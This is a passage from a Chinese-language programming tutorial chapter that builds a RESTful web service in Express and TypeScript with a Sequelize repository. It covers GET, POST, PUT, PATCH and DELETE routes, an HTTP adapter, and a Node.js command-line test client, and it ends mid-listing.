列表 14.2:src/cmdline 文件夹中的 main.mjs 文件的内容

import { select } from "@inquirer/prompts";
import { ops } from "./operations.mjs";
(async function run() {
    let loop = true;
    while (loop) {
        const selection = await select({
            message: "Select an operation",
            choices: [...Object.keys(ops).map(k => {return { value: k }})]
        });
        await ops[selection]();
    }
})(); 

此代码使用Inquirer包提示用户选择要执行的操作。用户面前呈现的选项是从一个对象属性中获得的,并做出选择将执行分配给该属性的函数。在src/cmdline文件夹中添加一个名为operations.mjs的文件,并添加列表 14.3中显示的内容。

列表 14.3:src/cmdline 文件夹中的 operations.mjs 文件的内容

export const ops = {
    "Test": () => {
        console.log("Test operation selected");
    },
    "Exit": () => process.exit()
} 

此文件提供了用户可以选择的操作,包括一个Test操作以开始并确保一切按预期工作,以及一个使用 Node.js process.exit方法终止进程的Exit选项。列表 14.4将条目添加到package.json文件的脚本部分以运行命令行客户端。

列表 14.4:在 part2app 文件夹中的 package.json 文件中添加脚本

...
"scripts": {
    "server": "tsc-watch --noClear --onsuccess \"node dist/server/server.js\"",
    "client": "webpack serve",
    "start": "npm-run-all --parallel server client",
    **"cmdline": "node --watch ./src/cmdline/main.mjs"**
},
... 

新的条目将使用 Node.js 执行main.mjs文件。--watch参数将 Node.js 置于监视模式,如果检测到更改,它将重新启动。

准备网络服务

为了介绍网络服务做准备,创建src/server/api文件夹,并向其中添加一个名为index.ts的文件,其内容如列表 14.5所示。

列表 14.5:src/server/api 文件夹中的 index.ts 文件的内容

import { Express } from "express";
export const createApi = (app: Express) => {
    // TODO - implement API
} 

此文件目前只是一个占位符,但将被用于配置 Express 以处理 HTTP API 请求。最后的更改是调用列表 14.5中定义的函数来设置网络服务,如列表 14.6所示。

列表 14.6:在 src/server 文件夹中的 server.ts 文件中配置 Express

import { createServer } from "http";
import express, {Express } from "express";
import httpProxy from "http-proxy";
import helmet from "helmet";
import { engine } from "express-handlebars";
import { registerFormMiddleware, registerFormRoutes } from "./forms";
**import { createApi } from "./api"****;**
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
expressApp.set("views", "templates/server");
expressApp.engine("handlebars", engine());
expressApp.set("view engine", "handlebars");
expressApp.use(helmet());
expressApp.use(express.json());
registerFormMiddleware(expressApp);
registerFormRoutes(expressApp);
**createApi(expressApp);**
expressApp.use("^/$", (req, resp) => resp.redirect("/form"));
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

part2app文件夹中运行列表 14.7中显示的命令以启动开发工具。

列表 14.7:启动开发工具

npm start 

打开第二个命令提示符,导航到part2app文件夹,并运行列表 14.8中显示的命令以启动命令行客户端。

列表 14.8:启动命令行客户端

npm run cmdline 

Inquirer包提供的功能呈现单选选项,如下所示:

? Select an operation (Use arrow keys)
> Test
Exit 

使用箭头键可以上下移动选择列表。选择Test操作将显示测试消息,选择Exit将终止进程。Node.js 正在运行监视模式,这意味着如果检测到更改,它将再次启动命令行客户端。如果您想完全停止客户端,请按Ctrl + C

理解网络服务

关于什么是网络服务,没有明确的共识,没有单一的标准可以遵循,也没有一套广泛采用的模式。相反,情况正好相反:有无数的意见,无数的模式,以及关于向客户端“正确”提供数据的“正确”方式的无限争论。

围绕网络服务的混乱和噪音可能令人难以承受,难以知道从哪里开始。然而,缺乏标准化可能是一种解放,因为它意味着项目可以专注于仅提供客户端需要的功能,而不需要标准化有时会带来的任何样板或开销。

网络服务只是通过 HTTP 访问的数据访问 API。RESTful 网络服务只是使用 HTTP 请求的一些方面来确定客户端想要使用 API 的哪些部分的网络服务。术语RESTful来自表征状态转移REST)模式,但由于网络服务中的变化和适应如此之多,只有 REST 的核心前提被广泛使用,即 API 是通过 HTTP 方法和 URL 的组合来定义的。HTTP 方法,如 GET 或 POST,定义了将要执行的操作类型,而 URL 指定了操作将应用到的数据对象或对象。

项目可以自由地以任何方式创建网络服务 API,但最好的网络服务是那些简单易用的服务。以下是一个可能标识应用程序管理的数据的 URL 示例:

/api/results/1 

在使用 URL 来标识数据时没有限制,只要客户端和服务器都理解 URL 格式,以便可以明确地标识数据。如果一个应用程序在数据库中存储数据,那么 URL 通常使用主键来标识特定的值,但这只是一个常见的约定,并不是必需的。

URL 标识数据,但指定对数据进行什么操作的是 HTTP 请求方法。表 14.3描述了在 Web 服务中常用且传统上表示的操作的 HTTP 方法。

表 14.3:常用 HTTP 方法

方法 描述
GET 此方法用于检索一个或多个数据值
POST 此方法用于存储新的数据值
PUT 此方法用于替换现有的数据值
PATCH 此方法用于更新现有数据值的一部分
DELETE 此方法用于删除数据值

一个网络服务通过组合 URL 和方法来提供 API,通常返回 JSON 数据。对于不查询数据的操作,会返回操作结果,这也可以是 JSON 数据。一个基本的网络服务可能提供表 14.4中描述的组合,该表还描述了网络服务将产生的结果。

注意

早期的网络服务使用 XML 而不是 JSON。JSON 成为事实上的标准,因为它简单且易于 JavaScript 客户端解析,但你仍然会偶尔看到对 XML 的引用,例如浏览器提供的用于发送 HTTP 请求的XMLHttpRequest对象(尽管这些已经被更现代的 Fetch API 所取代)。

表 14.4:典型的网络服务

方法 URL 描述

|

`GET` 

|

`/api/results/1` 
此组合获取 ID 为1的单个值,以Result对象的 JSON 表示形式表达。如果没有这样的 ID,将返回 404 响应。

|

`GET` 

|

`/api/results` 
此组合获取所有可用的数据值,以Result对象数组的 JSON 表示形式表达。如果没有数据,将返回一个空数组。

|

`GET` 

|

`/api/results?name=Alice` 
此组合查找所有具有name值为Alice的值,并返回一个Result对象数组的 JSON 表示形式。如果没有匹配的数据,将返回一个空数组。

|

`POST` 

|

`/api/results` 
此组合存储一个值,并返回存储数据的 JSON 表示形式。

|

`DELETE` 

|

`/api/results/1` 
此组合删除 ID 为1的单个值,并返回一个包含success属性的 JSON 对象,该属性具有boolean值,表示结果。

理解微服务

任何关于网络服务的研究很快就会带你进入微服务的世界,这也是为什么我在上一节建议将其作为搜索词的原因。微服务是一种围绕业务能力设计应用程序的方法,这通常涉及到网络服务。可以在microservices.io找到关于微服务的良好概述,以及详细的设计模式。

我认为微服务很有趣,但对于大多数项目来说应该避免使用。微服务解决的核心问题是功能失调的开发组织,无法管理以提供协调一致的软件发布。鉴于任何由三个或更多开发者组成的团队都会立即分裂成争夺资源、争论设计问题并互相指责延误的派系,这是一个许多项目都会面临的问题。

微服务通过让开发团队在大部分情况下独立工作,并仅就项目不同部分如何集成达成一致来尝试解决这些问题。有一些优秀的工具旨在支持微服务,其中最著名的是 Kubernetes,但这些工具极其复杂,采用微服务感觉像是放弃人力资源管理复杂性,专注于软件管理复杂性。根据我的经验,很少有 HR 问题是通过增加开发工具的复杂性来解决的,因此我对微服务是否是解决复杂组织问题的实际方法持怀疑态度。你应该形成自己的观点,但我的建议是在采用微服务之前仔细思考,并问问自己,在联邦开发模型中,你的同事是否会表现得比现在更好。

创建基本的 RESTful Web 服务

作为第一步,列表 14.9 创建了一个实现表 14.4 中描述的 URL 和 HTTP 方法组合的一些组合的 Web 服务。

列表 14.9:在 src/server/api 文件夹中的 index.ts 文件中创建基本 Web 服务

import { Express } from "express";
**import repository from "../data"****;**
export const createApi = (app: Express) => {
   ** app.get("/api/results", async (req, resp) => {**
 **if (req.query****.name) {**
 **const data = await repository.getResultsByName(**
 **req.query.name.toString(), 10);**
 **if (data.length** **> 0) {**
 **resp.json(data);**
 **} else {**
 **resp.writeHead(404);**
 **}**
 **}   else {**
 **resp.json(await repository.getAllResults(10****));**
 **}**
 **resp.end();**
 **});**
} 

列表展示了通过重新利用为往返请求创建的应用程序部分来创建客户端 API 的简便性。大多数网络服务都是这样开始的,但正如后续章节所解释的,存在一些问题和改进之处。

列表 14.10:在 src/cmdline 文件夹中的 operations.mjs 文件中添加操作

**import { input } from "@inquirer/prompts";**
**const baseUrl = "http://localhost:5000";**
export const ops = {
    **"Get All": () => sendRequest("GET", "/api/results"),**
 **"Get Name": async () => {**
**const name = await input({ message: "Name?"});**
 **await sendRequest("GET", `/api/results?name=${name}`);**
 **},**
    "Exit": () => process.exit()
}
**const sendRequest = async (method, url, body, contentType) => {**
 **const response = await fetch****(baseUrl + url, {**
 **method, headers: { "Content-Type": contentType ?? "application/json"},**
 **body: JSON.stringify(body)**
 **});**
 **if (response.status == 200) {**
 **const** **data = await response.json();**
 **(Array.isArray(data) ? data : [data])**
 **.forEach(elem => console.log(JSON.****stringify(elem)));**
 **} else {**
 **console.log(response.status + " " + response.statusText);**
 **}**
**}** 

Node.js 支持 Fetch API,这是基于浏览器的 JavaScript 代码通常用于发起 HTTP 请求的 API。列表 14.10 中的更改添加了一个sendRequest函数,用于发送 HTTP 请求并显示其结果,并添加了“获取所有”和“获取名称”操作。其中,“获取名称”操作使用Inquirer来提示输入名称,然后将其添加到 HTTP 请求的查询字符串中。

当检测到列表 14.10 中的更改时,命令行客户端将重新启动。选择“获取所有”选项并按回车将显示所有可用数据,如下所示:

...
{"id":3,"name":"Alice","age":35,"years":10,"nextage":45}
{"id":2,"name":"Bob","age":35,"years":10,"nextage":45}
{"id":1,"name":"Alice","age":35,"years":5,"nextage":40}
... 

选择“获取名称”操作并按回车键,系统将提示输入一个名称。输入Alice并按回车,你将看到匹配的结果:

...
{"id":3,"name":"Alice","age":35,"years":10,"nextage":45}
{"id":1,"name":"Alice","age":35,"years":5,"nextage":40}
... 

如果你输入一个不存在的名称,网络服务将响应一个 404 未找到的错误。

获取 Web 服务的数据

Web 服务只支持表 14.4 中两种组合的原因是,这些是唯一可以使用为往返应用程序需求创建的存储库执行的操作。

没有一种单一的最好方法来解决这个问题,需要做出妥协。一些项目有网络服务和往返需求足够相似,可以共享一个仓库,但这些情况很少见,试图在这两者之间强制一致性可能会导致应用程序的一个或两个部分做出妥协。

理解 GraphQL

GraphQL (graphql.org) 是一种向客户端提供数据的不同方法。常规的 RESTful 网络服务提供一组特定的操作,这些操作对所有客户端产生相同的结果。如果客户端需要在响应中获取额外的数据,例如,那么开发者必须修改网络服务,然后所有客户端都将接收到这些新数据。

GraphQL 仍然使用 HTTP 请求,数据仍然以 JSON 格式表达,但客户端可以执行自定义查询,包括选择要包含的数据值以及以不同的方式过滤数据。这意味着客户端可以只接收他们需要的数据,并且不同的客户端可以接收不同的数据。

GraphQL 很好,但它比常规的 RESTful 网络服务更复杂,无论是在服务器端开发还是在执行客户端查询方面,而且大多数项目更适合传统的 RESTful 网络服务,这些服务向所有客户端提供固定的一组操作和结果。GraphQL 在那些拥有大量数据且客户端将以不同方式使用这些数据的项目中表现出色,而这些数据服务器端开发者无法预知。但是,对于大多数其他项目来说,GraphQL 过于复杂,而传统的网络服务更容易创建和消费。

另一种选择是为应用程序的每个部分创建单独的仓库,这允许每个部分独立发展,但不可避免地会导致一定程度上的代码重复,因为某些操作可能同时被往返和 Web 服务客户端需要。

另一种选择——也是本章使用的方法——是创建原始仓库的子类并添加缺失的功能。当应用程序的一部分所需的功能是其他地方所需功能的一个子集时,这种方法是可行的,例如在示例应用程序中就是这样。列表 14.11 定义了一个新的接口,该接口描述了为网络服务所需的其他功能。稍后还需要更多方法,但现阶段这已经足够了。

提示

如果你不确定从哪里开始,那么先从创建一个子类开始。如果你发现你需要替换从基类继承的大多数功能,那么你应该将代码分成两个独立的仓库。

列表 14.11:在 src/server/data 文件夹中的 repository.ts 文件中定义一个新的接口

export interface Result {
    id: number,
    name: string,
    age: number,
    years: number,
    nextage: number
}
export interface Repository {
    saveResult(r: Result):  Promise<number>;
    getAllResults(limit: number) : Promise<Result[]>;
    getResultsByName(name: string, limit: number): Promise<Result[]>;
}
**export interface ApiRepository extends** **Repository {**
 **getResultById(id: number): Promise<Result | undefined>;**
 **delete(id: number) :** **Promise<boolean>;**
**}** 

新的方法允许通过其 ID 请求单个 Result 对象,并且可以通过指定 ID 来删除数据。列表 14.12 更新了 OrmRepository 类以实现新的接口。

列表 14.12:在 src/server/data 文件夹中的 orm_repository.ts 文件中实现接口

import { Sequelize } from "sequelize";
**import { ApiRepository, Result } from "./repository";**
import { addSeedData, defineRelationships,
    fromOrmModel, initializeModels } from "./orm_helpers";
import { Calculation, Person, ResultModel } from "./orm_models";
**export class OrmRepository implements ApiRepository {**
    sequelize: Sequelize;
    // ...constructor and methods omitted for brevity...
    **async getResultById(id: number): Promise<Result | undefined> {**
 **const model =** **await ResultModel.findByPk(id, {**
 **include: [Person, Calculation ]**
 **});**
 **return model ? fromOrmModel(model): undefined;**
 **}**
**async delete(id: number): Promise<boolean> {**
 **const count = await ResultModel.destroy({ where: { id }});**
 **return count ==** **1;**
 **}**
} 

列表 14.13更新data模块的导出,以添加 API 特定的仓库。

列表 14.13:在 src/server/data 文件夹中的 index.ts 文件中更新导出

**import { ApiRepository } from "./repository";**
import { OrmRepository } from "./orm_repository";
**const repository: ApiRepository = new OrmRepository();**
export default repository; 

列表 14.14使用新的仓库接口向网络服务添加功能。这段代码难以阅读,但将在下一节中解决。

列表 14.14:在 src/server/api 文件夹中的 index.ts 文件中添加功能

import { Express } from "express";
import repository from "../data";
export const createApi = (app: Express) => {
    app.get("/api/results", async (req, resp) => {
        if (req.query.name) {
            const data = await repository.getResultsByName(
                req.query.name.toString(), 10);
            if (data.length > 0) {
                resp.json(data);
            } else {
                resp.writeHead(404);
            }
        }   else {
                resp.json(await repository.getAllResults(10));
        }
        resp.end();
    });
   **app.all("/api/results/:id",** **async (req, resp) => {**
 **const id = Number.parseInt(req.params.id);**
 **if (req.method == "GET") {**
 **const result =** **await repository.getResultById(id);**
 **if (result == undefined) {**
 **resp.writeHead(404);**
 **} else {**
 **resp.json(result);**
 **}**
 **} else if (req.****method == "DELETE") {**
 **let deleted = await repository.delete(id);**
 **resp.json({ deleted });**
 **}**
 **resp.end();**
 **})**
 **app.post("/api/results", async (req, resp) => {**
**const { name, age, years} = req.body;**
 **const nextage = Number.parseInt(age) + Number.parseInt(years);**
 **const id = await repository.saveResult({** **id: 0, name, age,**
 **years, nextage});**
 **resp.json(await repository.getResultById(id));**
 **resp.end();**
 **});**
} 

新的路由增加了按 ID 查询、存储新结果和删除现有结果的支持。存储新结果的能力取决于按 ID 查询的能力,因为Repository.saveResult方法返回的结果与网络服务 POST 请求所需的结果不匹配。saveResult方法返回新存储对象的Id,因此需要额外的查询来获取已存储的Result对象,以便将其发送回客户端。列表 14.15向命令行客户端添加了依赖于新网络服务功能的新操作。

列表 14.15:在 src/cmdline 文件夹中的 operations.mjs 文件中添加功能

...
export const ops = {
    "Get All": () => sendRequest("GET", "/api/results"),
    "Get Name": async () => {
        const name = await input({ message: "Name?"});
        await sendRequest("GET", `/api/results?name=${name}`);
    },
    **"Get ID": async () => {**
 **const id = await input({** **message: "ID?"});**
 **await sendRequest("GET", `/api/results/${id}`);**
 **},**
 **"Store":** **async () => {**
 **const values = {**
 **name: await input({message: "Name?"}),**
 **age: await input({****message: "Age?"}),**
 **years: await input({message: "Years?"})**
 **};**
 **await sendRequest("POST", "****/api/results", values);**
 **},**
 **"Delete": async () => {**
 **const id = await input({ message: "ID?"});**
**await sendRequest("DELETE", `/api/results/${id}`);**
 **},**
    "Exit": () => process.exit()
}
... 

使用命令行客户端,选择获取 ID选项,并在提示时输入3,将产生以下结果:

...
{"id":3,"name":"Alice","age":35,"years":10,"nextage":45}
... 

对于数据库中不存在的ID,网络服务将返回 404 未找到响应。当提示输入名称、年龄和年数值时,选择存储选项并输入Drew, 50, and 5,响应将显示存储的新记录:

...
{"id":4,"name":"Drew","age":50,"years":5,"nextage":55}
... 

选择获取全部选项将显示数据库中的新记录以及现有数据(但请注意,每次服务器端应用程序重启时,数据库都会重置并重新播种,因此不要进行任何代码更改):

...
**{"id":4,"name":"Drew","age":50,"years":5,"nextage":55}**
{"id":3,"name":"Alice","age":35,"years":10,"nextage":45}
{"id":2,"name":"Bob","age":35,"years":10,"nextage":45}
{"id":1,"name":"Alice","age":35,"years":5,"nextage":40}
... 

选择删除选项,并在提示时输入新存储项的ID。结果是包含已删除属性以指示结果的 JSON 对象:

...
{"deleted":true}
... 

选择获取全部选项将确认数据已被删除。

理解 OpenAPI

OpenAPI 规范(www.openapis.org)是描述网络服务的标准,可以帮助客户端开发者了解网络服务应该如何使用,并提供对它提供访问的数据的描述。有工具和包可以从 OpenAPI 描述自动生成客户端代码,并且一些用于定义网络服务的 JavaScript 包将自动生成 OpenAPI 文档。

OpenAPI 是一个好主意,但它通常被用作描述性文档的替代品,这往往会在 Web 服务提供的功能与开发者意图使用它们之间留下差距。如果你在项目中采用 OpenAPI,你必须确保补充描述它产生的说明,以说明你的 Web 服务应该如何被消费。

分离 HTTP 状态码

列表 14.15 中的 Web 服务支持 表 14.4 中描述的所有 HTTP 方法与 URL 的组合,但代码难以理解。Web 服务有三个任务要执行:解析 HTTP 请求、执行操作和准备 HTTP 响应。当相同的代码负责所有这些任务时,很难识别执行操作的语句,因为它们在所有 HTTP 处理中都被淹没。

结果往往也以 HTTP 为中心,我的意思是大多数开发者最终会编写尽可能少的路由的代码,这进一步复杂了结果。你可以在 列表 14.14 中看到这一点,其中使用了 Express 的 all 方法来匹配对 URL 路径的所有请求,HTTP 方法在请求处理器中被识别,如下所示:

...
**app.all****("/api/results/:id", async (req, resp) => {**
    const id = Number.parseInt(req.params.id);
    if (**req.method** == "GET") {
        const result = await repository.getResultById(id);
        if (result == undefined) {
            resp.writeHead(404);
        } else {
            resp.json(result);
        }
    } **else if (req.method** == "DELETE") {
        let deleted = await repository.delete(id);
        resp.json({ deleted });
    }
    resp.end();
})
... 

我总是编写这类代码。代码可以编译,Web 服务也能工作,但维护起来很困难,因为 Web 服务的不同方面交织在一起。

如果将处理 HTTP 请求的代码提取到适配器中,Web 服务将更容易编写和维护,而且还有一个额外的好处,即需要相同一组 HTTP 方法和 URL 格式的 Web 服务可以使用相同的适配器代码。为了描述 Web 服务的功能,将名为 http_adapter.ts 的文件添加到 src/server/api 文件夹中,其中包含 列表 14.16 中的代码。

列表 14.16:src/server/api 文件夹中 http_adapter.ts 文件的内容

import { Express, Response } from "express";
export interface WebService<T> {
    getOne(id: any) : Promise<T | undefined>;
    getMany(query: any) : Promise<T[]>;
    store(data: any) : Promise<T | undefined>;
    delete(id: any): Promise<boolean>;
}
export function createAdapter<T>(app: Express, ws: WebService<T>, baseUrl: string) {
    app.get(baseUrl, async (req, resp) => {
        try {
            resp.json(await ws.getMany(req.query));
            resp.end();
        } catch (err) { writeErrorResponse(err, resp) }
    });
    app.get(`${baseUrl}/:id`, async (req, resp) => {
        try {
            const data = await ws.getOne((req.params.id));
            if (data == undefined) {
                    resp.writeHead(404);
            } else {
                    resp.json(data);
            }
            resp.end();
        } catch (err) { writeErrorResponse(err, resp) }
    });
    app.post(baseUrl, async (req, resp) => {
        try {
            const data = await ws.store(req.body);
            resp.json(data);
            resp.end();
        } catch (err) { writeErrorResponse(err, resp) }
    });
    app.delete(`${baseUrl}/:id`, async (req, resp) => {
        try {
            resp.json(await ws.delete(req.params.id));
            resp.end();
        } catch (err) { writeErrorResponse(err, resp) }
    });
    const writeErrorResponse = (err: any, resp: Response) => {
        console.error(err);
        resp.writeHead(500);
        resp.end();
    }
} 

WebService<T> 接口描述了一个在类型 T 上操作的 Web 服务,其中包含描述支持基本 Web 服务功能的操作的方法。createAdapter<T> 函数创建依赖于 WebService<T> 方法的 Express 路由。为了为 Result 数据创建 WebService<T> 接口的实现,将名为 results_api.ts 的文件添加到 src/server/api 文件夹中,其中包含 列表 14.17 中显示的内容。

注意

我通常使用箭头函数语法来定义 JavaScript 函数,因为这对我来说感觉更自然。然而,我在 列表 14.16 中使用了 function 关键字来定义 createAdapter<T> 函数,因为我觉得在箭头函数上表达 TypeScript 类型参数的方式有些笨拙。等效的函数签名在箭头函数形式中是:

export const createAdapter = <T>(app: Express, ws: WebService<T>, baseUrl: string) => {

将类型参数放在等号之后对我来说感觉有些刺耳,尽管你可以根据你的偏好选择任何一种语法。

列表 14.17:src/server/api 文件夹中的 results_api.ts 文件的内容

import { WebService } from "./http_adapter";
**import { Result } from "../data/repository";**
**import repository from "../data";**
**export class ResultWebService** **implements WebService<Result> {**
 **getOne(id: any): Promise<Result | undefined> {**
 **return repository.getResultById(Number****.parseInt(id));**
 **}**
 **getMany(query: any): Promise<Result[]> {**
 **if (query.name) {**
 **return repository.getResultsByName(query.name****, 10);**
 **} else {**
 **return repository.getAllResults(10);**
 **}**
 **}**
 **async store(data: any): Promise<Result** **| undefined> {**
 **const { name, age, years} = data;**
 **const nextage = Number.parseInt(age) + Number.parseInt(years);**
 **const id = await repository.saveResult****({ id: 0, name, age,**
 **years, nextage});**
 **return await repository.getResultById(id);** 
 **}**
 **delete(id: any): Promise<boolean> {**
 **return repository.delete****(Number.parseInt(id));**
 **}**
**}** 

ResultWebService类实现了WebService<Result>接口,并通过使用仓库功能来实现方法。列表 14.18使用新的适配器注册网络服务,替换了混合代码。

列表 14.18:在 src/server/api 文件夹中的 index.ts 文件中使用适配器

import { Express } from "express";
**//import repository from "../data";**
import { createAdapter } from "./http_adapter";
import { ResultWebService } from "./results_api";
export const createApi = (app: Express) => {
    **createAdapter(app, new ResultWebService(), "/api/results");**
} 

网络服务的行为没有改变,但移除处理 HTTP 请求和响应的代码使得网络服务更容易理解和维护。

更新数据

在网络服务中支持更新的有两种方式:替换数据和修补数据。当客户端想要完全替换数据时,发送 HTTP PUT 请求,请求体包含网络服务将用于替换的所有数据。当客户端想要修改数据时,使用 HTTP PATCH方法,请求体包含描述如何修改该数据的内容。

使用 PUT 请求支持更新更容易实现,但需要客户端提供存储数据的完整替换。PATCH 请求更复杂,但提供了更多灵活性,并且可能更高效,因为只有更改被发送到网络服务。

提示

当不知道客户端将发送的更新类型时,在新的项目开始时可能很难知道采用哪种方法。我的建议是首先支持完整更新,因为它们更容易实现,只有在你发现未更改的数据值开始超过更改的值时,才转向部分更新。

本章演示了 PUT 和 PATCH 请求。为了准备,列表 14.19ApiRepository接口添加了一个新方法,这将允许更新数据。

列表 14.19:在 src/server/data 文件夹中的 repository.ts 文件中添加方法

...
export interface ApiRepository extends Repository {
    getResultById(id: number): Promise<Result | undefined>;
    delete(id: number) : Promise<boolean>;
    **update(r: Result) : Promise<Result** **| undefined>** 
}
... 

列表 14.20使用 Sequelize ORM 包实现了此方法。

列表 14.20:在 src/server/data 文件夹中的 orm_repository.ts 文件中更新数据

import { Sequelize, or } from "sequelize";
import { ApiRepository, Result } from "./repository";
import { addSeedData, defineRelationships,
    fromOrmModel, initializeModels } from "./orm_helpers";
import { Calculation, Person, ResultModel } from "./orm_models";
export class OrmRepository implements ApiRepository {
    sequelize: Sequelize;
    // ...constructor and methods omitted for brevity...
  **async** **update(r: Result) : Promise<Result | undefined > {**
 **const mod = await this.sequelize.****transaction(async (transaction) => {**
 **const stored = await ResultModel.findByPk(r.id);**
 **if (stored !== null) {**
 **const [person] =** **await Person.findOrCreate({**
 **where: { name : r.name}, transaction**
 **});** 
 **const [calculation] = await Calculation.findOrCreate({**
 **where: {**
**age: r.age, years: r.years, nextage: r.nextage**
 **}, transaction**
 **});**
 **stored.personId = person.id;**
 **stored.calculationId = calculation.id;**
**return await stored.save({transaction});**
 **}**
 **});**
 **return mod ? this.getResultById(mod.id) : undefined;**
 **}**
} 

在示例中更新数据意味着更改与结果关联的名称或计算。update方法的实现通过四个步骤进行更新,所有这些步骤都作为事务执行。第一步是从数据库中读取要更新的数据,使用Result参数的id属性:

...
const stored = await ResultModel.findByPk(r.id);
... 

如果数据库中有一个匹配的条目,使用findOrCreate方法来定位与Result参数匹配的PersonCalculation数据,或者在没有匹配的情况下创建新数据。下一步是更新IDs,以便存储的数据引用新的PersonCalculation记录,并将更改写入数据库,这是使用save方法完成的:

...
stored.personId = person.id;
stored.calculationId = calculation.id;
return await stored.save({transaction});
... 

save 方法足够智能,可以检测更改,并且仅对值已更改的属性更新数据库。最后一步是在事务提交后执行,并使用 getResultById 方法返回修改后的数据。

使用 PUT 请求替换数据

PUT 请求是最容易实现的,因为 Web 服务只需使用客户端发送的数据来替换存储的数据。列表 14.21 扩展了描述 Web 服务的接口以添加新方法,并扩展了 HTTP 包装器以使用接口方法处理 PUT 请求。

注意

并非每个 Web 服务都使用 PUT 请求进行更新。POST 请求通常用于存储新数据和更新数据,使用 URL 来区分操作,因此用于更新的 URL 将包含一个唯一的 ID (/api/results/1),而用于存储数据的 URL 则不会 (/api/results)。

列表 14.21:在 src/server/api 文件夹中的 http_adapter.ts 文件中添加方法

import { Express, Response } from "express";
export interface WebService<T> {
    getOne(id: any) : Promise<T | undefined>;
    getMany(query: any) : Promise<T[]>;
    store(data: any) : Promise<T | undefined>;
    delete(id: any): Promise<boolean>;
  **  replace(id: any, data: any): Promise<T | undefined>;**
}
export function createAdapter<T>(app: Express, ws: WebService<T>, baseUrl: string) {
    // ...routes omitted for brevity...
 **   app.put(`${baseUrl}/:id`, async** **(req, resp) => {**
 **try {**
 **resp.json(await ws.replace(req.params.id, req.body));**
 **resp.end();**
 **} catch (err) { writeErrorResponse****(err, resp) }**
 **});**
    const writeErrorResponse = (err: any, resp: Response) => {
        console.error(err);
        resp.writeHead(500);
        resp.end();
    }
} 

添加到 WebService<T> 接口的 replace 方法接受一个 id 和一个 data 对象。新的路由匹配使用 PUT 方法的请求,从 URL 中提取 ID,并使用请求体作为数据。在 Web 服务中实现此方法的问题在于从 HTTP 包装器接收数据并将其传递给存储库,如 列表 14.22 所示。

列表 14.22:在 src/server/api 文件夹中的 results_api.ts 文件中替换数据

import { WebService } from "./http_adapter";
import { Result } from "../data/repository";
import repository from "../data";
export class ResultWebService implements WebService<Result> {
    // ...methods omitted for brevity...
    **replace(id: any, data: any): Promise<Result | undefined> {**
 **const { name, age, years, nextage } = data;**
**return repository.update({ id, name, age, years, nextage });**
 **}**
} 

从 HTTP 包装器接收的数据被解构为与 id 参数组合的常量值,并传递给存储库的 update 方法。

最后一步是向命令行客户端添加一个操作,该操作将发送 PUT 请求,如 列表 14.23 所示。

列表 14.23:在 src/cmdline 文件夹中的 operations.mjs 文件中支持更新

...
export const ops = {
    // ...properties/functions omitted for brevity...
   ** "Replace": async () => {**
 **const id = await input({ message: "ID?"});**
 **const values = {**
 **name****: await input({message: "Name?"}),**
 **age: await input({message: "Age?"}),**
 **years****: await input({message: "Years?"}),**
 **nextage: await input({message: "Next Age?"})**
 **};**
 **await** **sendRequest("PUT", `/api/results/${id}`, values);**
 **},**
    "Exit": () => process.exit()
}
... 

操作称为 Replace,它会提示存储数据所需的所有值,并使用 HTTP PUT 请求将它们发送到 Web 服务。从命令行选择新的 Replace 选项,并在提示时输入 1Joe351045。此操作将更新 ID1 的结果,并赋予新的名称,如下所示:

...
? Select an operation Replace
? ID? 1
? Name? Joe
? Age? 35
? Years? 10
? Next Age? 45
{"id":1,"name":"Joe","age":35,"years":10,"nextage":45}
? Select an operation Get All
{"id":3,"name":"Alice","age":35,"years":10,"nextage":45}
{"id":2,"name":"Bob","age":35,"years":10,"nextage":45}
**{"id":1,"name":"Joe","age":35,"years":10,"nextage":45}**
... 

名称已更改,但其他值保持不变,因此结果与数据库中的计算之间的关系保持不变。

使用 PATCH 请求修改数据

PATCH 请求允许客户端请求 Web 服务器应用部分更新,而无需发送完整的数据记录。没有标准方式来描述 PATCH 请求中的部分更改,可以使用任何数据格式,只要客户端和 Web 服务都理解如何标识数据以及如何描述更改。为了支持 PATCH 请求,列表 14.24 向 Web 服务接口添加了一个新方法,并定义了一个匹配 PATCH 请求的路由。

列表 14.24:在 src/server/api 文件夹中的 http_adapter.ts 文件中支持 PATCH 请求

import { Express, Response } from "express";
export interface WebService<T> {
    getOne(id: any) : Promise<T | undefined>;
    getMany(query: any) : Promise<T[]>;
    store(data: any) : Promise<T | undefined>;
    delete(id: any): Promise<boolean>;
    replace(id: any, data: any): Promise<T | undefined>;
    **modify****(id: any, data: any): Promise<T | undefined>;** 
}
export function createAdapter<T>(app: Express, ws: WebService<T>, baseUrl: string) {
    // ...routes omitted for brevity...
    **app.patch(`${baseUrl}/:id`, async (req, resp) => {**
 **try {**
 **resp.json(await** **ws.modify(req.params.id, req.body));**
 **resp.end();**
 **} catch (err) { writeErrorResponse(err, resp) }**
 **});**
    const writeErrorResponse = (err: any, resp: Response) => {
        console.error(err);
        resp.writeHead(500);
        resp.end();
    }
} 

支持部分更新的最简单方法是允许客户端提供一个仅包含替换值的 JSON 对象,并省略任何应保持不变的属性,如列表 14.25所示。

列表 14.25:在 src/server/api 文件夹中的 results_api.ts 文件中修改数据

import { WebService } from "./http_adapter";
import { Result } from "../data/repository";
import repository from "../data";
export class ResultWebService implements WebService<Result> {
    // ...methods omitted for brevity...
    async modify(id: any, data: any): Promise<Result | undefined> {
    **    const dbData = await this.getOne(id);**
 **if (dbData !== undefined) {**
 **Object.entries(dbData).****forEach(([prop, val]) => {**
 **(dbData as any)[prop] = data[prop] ?? val;**
 **});**
 **return await this.replace(id, dbData)**
 **}**
 **}**
} 

实现方法枚举由Result接口定义的属性,并检查从请求接收到的数据是否包含替换值。新值被应用于更新现有数据,然后传递给存储库的replace方法进行存储。请注意,存储库在替换和更新时使用的方式相同,并且准备数据以供存储是网络服务的职责。列表 14.26向命令行客户端添加了一个操作,用于发送 PATCH 请求。

列表 14.26:在 src/cmdline 文件夹中的 operations.mjs 文件中发送 PATCH 请求

...
export const ops = {
    // ...properties/functions omitted for brevity...
    **"Modify": async () => {**
 **const id = await** **input({ message: "ID?"});**
 **const values = {**
 **name: await input({message: "Name?"****}),**
 **age: await input({message: "Age?"}),**
